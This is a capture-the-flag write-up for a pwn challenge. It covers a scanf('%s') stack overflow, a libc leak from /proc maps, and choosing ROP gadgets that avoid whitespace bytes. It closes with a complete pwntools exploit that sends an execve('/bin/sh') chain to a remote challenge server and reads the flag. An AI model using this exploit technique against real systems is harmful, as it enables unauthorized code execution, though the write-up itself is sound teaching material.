inspector the ONE
inspector the ONE
Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: execve_rop_chain, libc_base_from_maps_leak, ret2libc, scanf_unbounded_overflow, whitespace_byte_avoidance
Summary
Task: 64-bit NON-PIE ELF with an unbounded scanf("%s") stack overflow; startup dumps /proc/$PPID/maps leaking the libc base, ASLR is off. Solution: ret2libc, but call execve("/bin/sh",0,0) instead of system() because system's absolute address contains a 0x20 (space) byte that terminates scanf %s — pick gadget/string addresses with no whitespace bytes.
inspector the ONE — pwn_spbctf
Description
Инспектор, какой вы по счету? Спереди или с конца?
("Inspector, which number are you? From the front or from the end?")
A 64-bit x86-64 ELF (inspector.elf). Remote: nc 109.233.56.90 11672. Provided
libc-2.31.so (Debian glibc 2.31-3). Get a shell and read the flag.
Protections: NON-PIE (base 0x400000), NX, Partial RELRO, NO stack canary.
Analysis
Three relevant functions:
show_memory()@ 0x401186 — runs at startup and executessystem("cat /proc/$PPID/maps"), printing the process memory map. This leaks the libc base: parse the start of the first/libc-2.31.somapping. ASLR is off on this service — the base is the constant0x7ffff7de3000, verified identical across 3 connections.help()@ 0x4011ab — a no-op.main()@ 0x4011b8 —buflives atrbp-0x40(sub rsp, 0x40). Afterprintf("What's your number, inspector?\n> ")it callsscanf("%s", buf)with no width → classic unbounded stack buffer overflow. Thenstrncmp(buf, "one", 3): if equal, it prints"Have a nice day, inspector %s gadget!\n"(the%sargument is fixed tobuf, so this is just an echo — not a format-string bug), callshelp(), thenleave; ret. Otherwiseputs("Wrong!"); exit(1).
So the chain must begin with one\0 to pass strncmp(buf,"one",3) before reaching
the overflow.
The key constraint (the title pun)
scanf("%s") stops only at whitespace bytes: 0x09 0x0a 0x0b 0x0c 0x0d 0x20.
NUL is not a delimiter for %s, so a ROP chain containing null bytes is fine —
but any address byte equal to a whitespace value truncates the read.
The title "inspector the ONE" and "from the front or from the end" hint at
one_gadget, but the robust path avoids constraint-heavy gadgets.
Solution
Overflow → ret2libc. Offset to the saved return address:
buf @ rbp-0x40, ret @ rbp+8 → 0x40 + 8 = 0x48.
Why not system("/bin/sh")? With the fixed base, system resolves to
0x7ffff7de3000 + 0x48f20 = 0x7ffff7e2bf20, whose first byte is 0x20 (space).
scanf("%s") stops there, so the chain is truncated. (Gotcha: always check every
chain byte against the whitespace set.)
Fix: call execve("/bin/sh", NULL, NULL) directly. execve resolves via a
syscall (no movaps alignment crash, no one_gadget NULL-register constraints), and
all the chosen gadget/string addresses at this fixed base contain no whitespace
bytes:
POP_RDI = base + 0x2679e POP_RSI = base + 0x288df
POP_RDX = base + 0xcb28d EXECVE = base + 0xcb780
BINSH = base + 0x18a156 RET = 0x40101a (binary ret, 16-byte alignment)
Payload:
b'one\x00'.ljust(0x48, b'A') + flat(RET, POP_RDI, BINSH, POP_RSI, 0, POP_RDX, 0, EXECVE)
After the shell spawns (runs as uid=6(man)): cat /flag* → flag.
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * context.arch = 'amd64' HOST, PORT = '109.233.56.90', 11672 # ASLR is OFF on this service -> libc base is fixed BASE = 0x7ffff7de3000 POP_RDI = BASE + 0x2679e POP_RSI = BASE + 0x288df POP_RDX = BASE + 0xcb28d EXECVE = BASE + 0xcb780 BINSH = BASE + 0x18a156 RET = 0x40101a # binary ret for 16-byte stack alignment WS = {0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x20} def main(): io = remote(HOST, PORT) io.recvuntil(b"What's your number") io.recvuntil(b'> ') # buf @ rbp-0x40, ret @ rbp+8 => offset 0x48 chain = flat(RET, POP_RDI, BINSH, POP_RSI, 0, POP_RDX, 0, EXECVE) for c in chain: assert c not in WS, "whitespace byte %#x in chain" % c payload = b'one\x00'.ljust(0x48, b'A') + chain io.sendline(payload) io.recvline() io.sendline(b'cat /flag* 2>/dev/null; cat flag* 2>/dev/null; id') # interactive() can drop the flag due to timing; sleep then recv sleep(1) print(io.recv(timeout=2).decode(errors='replace')) io.interactive() if __name__ == '__main__': main()